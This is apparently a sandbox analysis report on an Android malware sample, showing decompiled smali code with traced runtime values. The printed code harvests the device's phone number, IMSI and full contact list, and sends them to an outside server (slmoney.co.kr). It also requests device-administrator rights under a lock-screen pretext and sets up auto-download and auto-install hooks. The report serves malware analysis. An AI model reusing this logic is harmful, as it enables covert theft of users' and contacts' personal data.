Method: com.example.adt.App$1.run:79 Show source
Method: com.example.adt.App$1.run:92 Show source
Method: com.example.adt.CoreService.autoChangeApk:14 Show source
Method: com.example.adt.CoreService.autoChangeApk:42 Show source
Method: com.example.adt.CoreService.autoChangeApk:73 Show source
Method: com.example.adt.CoreService.autoChangeApk:118 Show source
Method: com.example.adt.PhoneListener$1.run:59 Show source
Method: com.example.adt.PhoneListener$1.run:72 Show source
Method: ..:20 Show source
Method: com.example.adt.SMS$2.run:44 Show source
Method: com.example.adt.CoreService$HTRunnable.run:70 Show source
Method: com.example.adt.CoreService$HTRunnable.run:90 Show source
Method: com.example.adt.CoreService$HTRunnable.run:137 Show source
Method: com.example.adt.CoreService$HTRunnable.run:321 Show source
Method: com.example.adt.App.getApps:94 Show source
Method: com.example.adt.App.getApps:135 Show source
Method: com.example.adt.App.getApps:166 Show source
Method: ..:18 Show source
Method: com.example.adt.Config.getAPNType:37 Show source
Method: com.example.adt.App.hasApp:68 Show source
Method: com.example.adt.Config.configPath:19 Show source
Method: com.example.adt.CoreService.uninstallAPK:13 Show source
Method: com.example.adt.CoreService.uninstallAPK:29 Show source
Method: com.example.adt.SMS$2$1.run:37 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:10 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:33 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:188 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:200 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:218 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:228 Show source
Method: com.example.adt.PhoneListener.onReceive:16 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:91 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:123 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:149 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:169 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:196 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:226 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:245 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:272 Show source
Method: com.example.adt.App.changeApk:20 Show source
Method: com.example.adt.App.autoChangeApps:87 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:9 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:18 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:35 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:60 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:80 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:114 Show source
Method: com.example.adt.BootBroadcastReceiver.onReceive:122 Show source
Method: com.example.adt.Config.getSDPath:8 Show source
Method: com.example.adt.CoreService.autoChangeApk:22 Show source
Method: com.example.adt.CoreService.autoChangeApk:129 Show source
Method: com.example.adt.App.getApps:24 Show source
Method: com.example.adt.App.getApps:38 Show source
Method: com.example.adt.App.getApps:112 Show source
Method: com.example.adt.App.getApps:143 Show source
Method: com.example.adt.Config.getAPNType:51 Show source
Method: com.example.adt.Config.isServiceRunning:37 Show source
Method: com.example.adt.App.hasApp:75 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:71 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:103 Show source
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:136 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:9 Show source
Method: com.example.adt.CoreService$MyOrderRunnable.run:29 Show source
Method: ..:11 Show source
Method: com.example.adt.SMS$1$2.run:22 Show source
Method: com.example.adt.SMSReceiver$1.run:12 Show source
Method: com.example.adt.Connect.getHttpConnection:47 Show source
Method: com.example.adt.Contact.getPhoneContacts:55 Show source
Method: com.example.adt.SMS$1$1.run:22 Show source
Method: com.example.adt.App.autoChangeApps:39 Show source
Method: ..:7 Show source
Method: com.example.adt.Config.<clinit>:16 Show source
Method: com.example.adt.Config.<clinit>:33 Show source
Method: com.example.adt.Contact$1.run:26 Show source
Method: com.example.adt.DownLoad.downLoadFile:10 Show source
Method: com.example.adt.DownLoad.downLoadFile:40 Show source
Method: ..:7 Show source
Method: com.example.adt.App$1.run:12 Show source
Method: com.example.adt.CoreService.autoChangeApk:34 Show source
Method: com.example.adt.CoreService.autoChangeApk:63 Show source
Method: com.example.adt.CoreService.autoChangeApk:108 Show source
Method: com.example.adt.PhoneListener$1.run:17 Show source
Method: ..:12 Show source
Method: com.example.adt.CoreService$HTRunnable.run:65 Show source
Method: com.example.adt.CoreService$HTRunnable.run:85 Show source
Method: com.example.adt.CoreService$HTRunnable.run:132 Show source
Method: com.example.adt.CoreService$HTRunnable.run:181 Show source
Method: com.example.adt.App.getApps:64 Show source
Method: com.example.adt.App.getApps:119 Show source
Method: com.example.adt.App.getApps:150 Show source
Method: ..:10 Show source
Method: com.example.adt.App.hasApp:38 Show source
Method: com.example.adt.Config.configPath:9 Show source
Method: com.example.adt.SMS$2$1.run:12 Show source
Method: com.example.adt.HttpDownloader.download:9 Show source
Method: com.example.adt.DownLoad.downloadFile:6 Show source
Method: com.example.adt.DownLoad.downLoadFile:59 Show source
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:6 Show source
Method: com.example.adt.Connect.getHttpConnection:9 Show source
NameTypeValue
p0java.lang.String
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
NameTypeValue
Return Valuejava.net.URL
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
Method: com.example.adt.Connect.getHttpConnection:9 Show source
NameTypeValue
p0java.lang.String
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
NameTypeValue
Return Valuejava.net.URL
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
Method: com.example.adt.HttpDownloader.download:14 Show source
Method: com.example.adt.DownLoad.downloadFile:8 Show source
Method: com.example.adt.DownLoad.downLoadFile:61 Show source
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:11 Show source
Method: com.example.adt.Connect.getHttpConnection:13 Show source
NameTypeValue
Return Valuelibcore.net.http.HttpURLConnectionImpl
  • toString: libcore.net.http.HttpURLConnectionImpl:http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
9 Executed Methods
APIs
  • java.net.URL.<init>
  • java.net.URL.openConnection
Strings
  • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
  • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
  • Conncet
  • MalformedURLException
  • \n
  • IOException
  • Url NULL
Position Instruction Meta Information
0.parameter "httpUrl"
1.prologue
3const-string v4, ""
5const-string v5, ""
6const/4 v6, 0x0
7try_start_5: new-instance v7, Ljava/net/URL;
9invoke-direct {v7, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
  • Time: 127921
    • This:
      • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
    • p0: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
    • Return:
      • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
  • Time: 133026
    • This:
      • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
    • p0: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
    • Return:
      • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
10try_end_a: move-object v6, v7
11goto_b: if-eqz v6, :cond_61
12try_start_d:
13invoke-virtual {v6}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
  • Time: 133027
    • This:
      • http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
    • Return:
      • libcore.net.http.HttpURLConnectionImpl:http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
14move-result-object v8
15check-cast v8, Ljava/net/HttpURLConnection;
16new-instance v2, Ljava/io/InputStreamReader;
18invoke-virtual {v8}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
19move-result-object v9
21invoke-direct {v2, v9}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
22new-instance v0, Ljava/io/BufferedReader;
24invoke-direct {v0, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
25const/4 v3, 0x0
26goto_22:
27invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
28move-result-object v3
29if-nez v3, :cond_3b
31invoke-virtual {v2}, Ljava/io/InputStreamReader;->close()V
33invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V
34try_end_2e: if-eqz v5, :cond_31
35move-object v4, v5
36goto_31: return-object v4
37catch_32: move-exception v1
39const-string v9, "Conncet"
41const-string v10, "MalformedURLException"
43invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Conncet
    • msg: MalformedURLException
44goto/16 :goto_b
45cond_3b: new-instance v9, Ljava/lang/StringBuilder;
47invoke-static {v5}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
48move-result-object v10
50invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
52invoke-virtual {v9, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
53move-result-object v9
55const-string v10, "\n"
57invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
58move-result-object v9
60invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61try_end_51: move-result-object v5
62goto/16 :goto_22
63catch_53: move-exception v1
65sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream;
67invoke-virtual {v9, v1}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
69const-string v9, "Conncet"
71const-string v10, "IOException"
73invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Conncet
    • msg: IOException
74goto/16 :goto_31
75cond_61:
76const-string v9, "Conncet"
78const-string v10, "Url NULL"
80invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Conncet
    • msg: Url NULL
81goto/16 :goto_31
APIs
  • com.example.adt.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getLine1Number
Strings
  • phone
  • 136388846190534
  • 463852237635273
  • 852607195656783
Position Instruction Meta Information
0.parameter "context"
1.prologue
2try_start_0:
3const-string v1, "phone"
5invoke-virtual {p0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 126397
    • This:
      • com.example.adt.MainActivity@a0660728
    • name: phone
    • Return:
      • android.telephony.TelephonyManager@a067c620
  • Time: 127909
    • This:
      • com.example.adt.CoreService@a066d118
    • p0: phone
    • Return:
      • android.telephony.TelephonyManager@a069a2c0
  • Time: 132994
    • This:
      • com.example.adt.CoreService@a0660fe8
    • p0: phone
    • Return:
      • android.telephony.TelephonyManager@a067a750
  • Time: 153124
    • This:
      • com.example.adt.CoreService@a0661dc8
    • p0: phone
    • Return:
      • android.telephony.TelephonyManager@a06b98b0
6move-result-object v0
7check-cast v0, Landroid/telephony/TelephonyManager;
9invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
  • Time: 126398
    • This:
      • android.telephony.TelephonyManager@a067c620
    • Return:
      • 136388846190534
  • Time: 133025
    • This:
      • android.telephony.TelephonyManager@a067a750
    • Return:
      • 852607195656783
  • Time: 153147
    • This:
      • android.telephony.TelephonyManager@a06b98b0
    • Return:
      • 463852237635273
10move-result-object v1
12invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
13try_end_f: move-result-object v1
14goto_10: return-object v1
15catch_11: move-exception v1
17const-string v1, ""
18goto/16 :goto_10
APIs
  • com.example.adt.CoreService.getSystemService
  • android.telephony.TelephonyManager.getSubscriberId
Strings
  • phone
  • 420509993185509
  • 696398736866155
Position Instruction Meta Information
0.parameter "context"
1.prologue
2try_start_0:
3const-string v2, "phone"
5invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 127885
    • This:
      • com.example.adt.CoreService@a066d118
    • p0: phone
    • Return:
      • android.telephony.TelephonyManager@a069a2c0
  • Time: 133020
    • This:
      • com.example.adt.CoreService@a0660fe8
    • p0: phone
    • Return:
      • android.telephony.TelephonyManager@a067a750
  • Time: 153140
    • This:
      • com.example.adt.CoreService@a0661dc8
    • p0: phone
    • Return:
      • android.telephony.TelephonyManager@a06b98b0
6move-result-object v1
7check-cast v1, Landroid/telephony/TelephonyManager;
9invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
  • Time: 127896
    • This:
      • android.telephony.TelephonyManager@a069a2c0
    • Return:
      • 420509993185509
  • Time: 133022
    • This:
      • android.telephony.TelephonyManager@a067a750
    • Return:
      • 696398736866155
10move-result-object v0
12invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
13try_end_f: move-result-object v2
14goto_10: return-object v2
15catch_11: move-exception v2
17const-string v2, ""
18goto/16 :goto_10
APIs
  • android.content.ContentResolver.query
Strings
  • |
  • #
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3const-string v1, ""
4iput-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String;
6iget-object v1, p0, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService;
8invoke-virtual {v1}, Lcom/example/adt/CoreService;->getContentResolver()Landroid/content/ContentResolver;
9move-result-object v0
11sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
13sget-object v2, Lcom/example/adt/Contact;->PHONES_PROJECTION:[Ljava/lang/String;
14move-object v4, v3
15move-object v5, v3
17invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 126448
    • This:
      • android.app.ContextImpl$ApplicationContentResolver@a069d9a8
    • p0: content://com.android.contacts/data/phones
    • p1: [Ljava.lang.String;@a0675ed0
    • p1.Arrays.toString: [display_name, data1, photo_id, contact_id]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@a068a168
  • Time: 132979
    • This:
      • android.app.ContextImpl$ApplicationContentResolver@a0661218
    • p0: content://com.android.contacts/data/phones
    • p1: [Ljava.lang.String;@a0663510
    • p1.Arrays.toString: [display_name, data1, photo_id, contact_id]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@a068f088
  • Time: 153092
    • This:
      • android.app.ContextImpl$ApplicationContentResolver@a0661ff8
    • p0: content://com.android.contacts/data/phones
    • p1: [Ljava.lang.String;@a06642f0
    • p1.Arrays.toString: [display_name, data1, photo_id, contact_id]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@a0682700
18move-result-object v7
19if-eqz v7, :cond_26
21invoke-interface {v7}, Landroid/database/Cursor;->getCount()I
22move-result v1
23if-lez v1, :cond_26
24goto_1d:
25invoke-interface {v7}, Landroid/database/Cursor;->moveToNext()Z
26move-result v1
27if-nez v1, :cond_34
29invoke-interface {v7}, Landroid/database/Cursor;->close()V
30cond_26: new-instance v1, Ljava/lang/Thread;
31new-instance v2, Lcom/example/adt/Contact$1;
33invoke-direct {v2, p0}, Lcom/example/adt/Contact$1;-><init>(Lcom/example/adt/Contact;)V
35invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
37invoke-virtual {v1}, Ljava/lang/Thread;->start()V
38return-void
39cond_34: const/4 v1, 0x1
41invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
42move-result-object v8
44invoke-static {v8}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
45move-result v1
46if-nez v1, :cond_1d
47const/4 v1, 0x0
49invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
50move-result-object v6
52iget-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String;
53new-instance v2, Ljava/lang/StringBuilder;
55invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
56move-result-object v1
58invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
60const-string v1, "|"
62invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: |
63move-result-object v1
65invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
66move-result-object v1
68const-string v2, "#"
70invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
71move-result-object v1
73invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74move-result-object v1
76invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
77move-result-object v1
78iput-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String;
79goto/16 :goto_1d
APIs
  • com.example.adt.CoreService.registerReceiver
Strings
  • CoreSverice is Begin
  • issms
  • iscall
  • app.gx3.alert
  • app.dwonload.complate
  • app.auto.install
  • alert.main
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"NewApi"
3}
4.end annotation
5.prologue
7invoke-super {p0}, Landroid/app/Service;->onCreate()V
8sput-object p0, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
9new-instance v1, Ljava/lang/Thread;
10new-instance v2, Lcom/example/adt/CoreService$1;
12invoke-direct {v2, p0}, Lcom/example/adt/CoreService$1;-><init>(Lcom/example/adt/CoreService;)V
14invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
16invoke-virtual {v1}, Ljava/lang/Thread;->start()V
17sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
18const/16 v2, 0xb
19if-lt v1, v2, :cond_50
20new-instance v1, Landroid/os/StrictMode$ThreadPolicy$Builder;
22invoke-direct {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>()V
24invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectDiskReads()Landroid/os/StrictMode$ThreadPolicy$Builder;
25move-result-object v1
27invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectDiskWrites()Landroid/os/StrictMode$ThreadPolicy$Builder;
28move-result-object v1
30invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectNetwork()Landroid/os/StrictMode$ThreadPolicy$Builder;
31move-result-object v1
33invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->penaltyLog()Landroid/os/StrictMode$ThreadPolicy$Builder;
34move-result-object v1
36invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->build()Landroid/os/StrictMode$ThreadPolicy;
37move-result-object v1
39invoke-static {v1}, Landroid/os/StrictMode;->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V
40new-instance v1, Landroid/os/StrictMode$VmPolicy$Builder;
42invoke-direct {v1}, Landroid/os/StrictMode$VmPolicy$Builder;-><init>()V
44invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->detectLeakedSqlLiteObjects()Landroid/os/StrictMode$VmPolicy$Builder;
45move-result-object v1
47invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->detectLeakedClosableObjects()Landroid/os/StrictMode$VmPolicy$Builder;
48move-result-object v1
50invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->penaltyLog()Landroid/os/StrictMode$VmPolicy$Builder;
51move-result-object v1
53invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->penaltyDeath()Landroid/os/StrictMode$VmPolicy$Builder;
54move-result-object v1
56invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->build()Landroid/os/StrictMode$VmPolicy;
57move-result-object v1
59invoke-static {v1}, Landroid/os/StrictMode;->setVmPolicy(Landroid/os/StrictMode$VmPolicy;)V
60cond_50:
61sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
63const-string v2, "CoreSverice is Begin"
65invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: CoreSverice is Begin
67const-string v1, "issms"
68const/4 v2, 0x1
70invoke-static {p0, v1, v2}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V
72const-string v1, "iscall"
73const/4 v2, 0x0
75invoke-static {p0, v1, v2}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V
76new-instance v0, Landroid/content/IntentFilter;
78invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
80const-string v1, "app.gx3.alert"
82invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: app.gx3.alert
84const-string v1, "app.dwonload.complate"
86invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: app.dwonload.complate
88const-string v1, "app.auto.install"
90invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: app.auto.install
92const-string v1, "alert.main"
94invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: alert.main
95new-instance v1, Lcom/example/adt/CoreService$MyBroadcastReciver;
97invoke-direct {v1, p0}, Lcom/example/adt/CoreService$MyBroadcastReciver;-><init>(Lcom/example/adt/CoreService;)V
99invoke-virtual {p0, v1, v0}, Lcom/example/adt/CoreService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
  • Time: 132977
    • This:
      • com.example.adt.CoreService@a0660fe8
    • p0: com.example.adt.CoreService$MyBroadcastReciver@a067b0a8
    • p1: android.content.IntentFilter@a067ac38
    • p1.getAction0: app.gx3.alert
    • p1.getAction1: app.dwonload.complate
    • p1.getAction2: app.auto.install
    • p1.getAction3: alert.main
    • Return:
      • null
  • Time: 153099
    • This:
      • com.example.adt.CoreService@a0661dc8
    • p0: com.example.adt.CoreService$MyBroadcastReciver@a067be88
    • p1: android.content.IntentFilter@a067ba18
    • p1.getAction0: app.gx3.alert
    • p1.getAction1: app.dwonload.complate
    • p1.getAction2: app.auto.install
    • p1.getAction3: alert.main
    • Return:
      • null
100new-instance v1, Lcom/example/adt/Connect;
102invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V
103iput-object v1, p0, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect;
105invoke-static {p0}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;
106move-result-object v1
107iput-object v1, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String;
109iget-object v1, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String;
110sput-object v1, Lcom/example/adt/Config;->number:Ljava/lang/String;
112invoke-static {p0}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String;
113move-result-object v1
114iput-object v1, p0, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String;
115new-instance v1, Ljava/lang/Thread;
116new-instance v2, Lcom/example/adt/CoreService$HTRunnable;
118invoke-direct {v2, p0}, Lcom/example/adt/CoreService$HTRunnable;-><init>(Lcom/example/adt/CoreService;)V
120invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
122invoke-virtual {v1}, Ljava/lang/Thread;->start()V
123new-instance v1, Ljava/lang/Thread;
124new-instance v2, Lcom/example/adt/CoreService$CommRunnable;
126invoke-direct {v2, p0}, Lcom/example/adt/CoreService$CommRunnable;-><init>(Lcom/example/adt/CoreService;)V
128invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
130invoke-virtual {v1}, Ljava/lang/Thread;->start()V
131return-void
APIs
  • android.content.Intent.putExtra
  • com.example.adt.MainActivity.startActivity
Strings
  • android.app.action.ADD_DEVICE_ADMIN
  • android.app.extra.DEVICE_ADMIN
  • \u4e00\u952e\u9501\u5c4f
  • android.app.extra.ADD_EXPLANATION
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
3const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
5invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.app.action.ADD_DEVICE_ADMIN
7const-string v1, "android.app.extra.DEVICE_ADMIN"
9iget-object v2, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName;
11invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Time: 126375
    • This:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
    • p0: android.app.extra.DEVICE_ADMIN
    • p1: ComponentInfo{com.example.adt/com.example.adt.LockReceiver}
    • Return:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
13const-string v1, "android.app.extra.ADD_EXPLANATION"
15const-string v2, "\u4e00\u952e\u9501\u5c4f"
17invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 126377
    • This:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
    • p0: android.app.extra.ADD_EXPLANATION
    • p1: [UNREADABLE UNICODE]
    • Return:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
19invoke-virtual {p0, v0}, Lcom/example/adt/MainActivity;->startActivity(Landroid/content/Intent;)V
  • Time: 126380
    • This:
      • com.example.adt.MainActivity@a0660728
    • intent: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
20return-void
APIs
  • java.net.URLEncoder.encode
Strings
  • serverip
  • Contact&status=1&imsi=
  • &number=
  • &content=
  • \u53d1\u9001\u901a\u8baf\u5f55\u7ed3\u679c =>
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v5, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact;
4iget-object v5, v5, Lcom/example/adt/Contact;->data:Ljava/lang/String;
6invoke-static {v5}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String;
  • Time: 127878
    • p0: ""
    • Return:
      • null
7move-result-object v1
9iget-object v5, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact;
11iget-object v5, v5, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService;
13invoke-static {v5}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String;
14move-result-object v3
15new-instance v5, Ljava/lang/StringBuilder;
17sget-object v6, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
19const-string v7, "serverip"
21sget-object v8, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
23invoke-static {v6, v7, v8}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
24move-result-object v6
26invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
27move-result-object v6
29invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
31sget-object v6, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
33invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
34move-result-object v5
36const-string v6, "Contact&status=1&imsi="
38invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Contact&status=1&imsi=
39move-result-object v5
41invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
42move-result-object v5
44const-string v6, "&number="
46invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &number=
47move-result-object v5
49iget-object v6, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact;
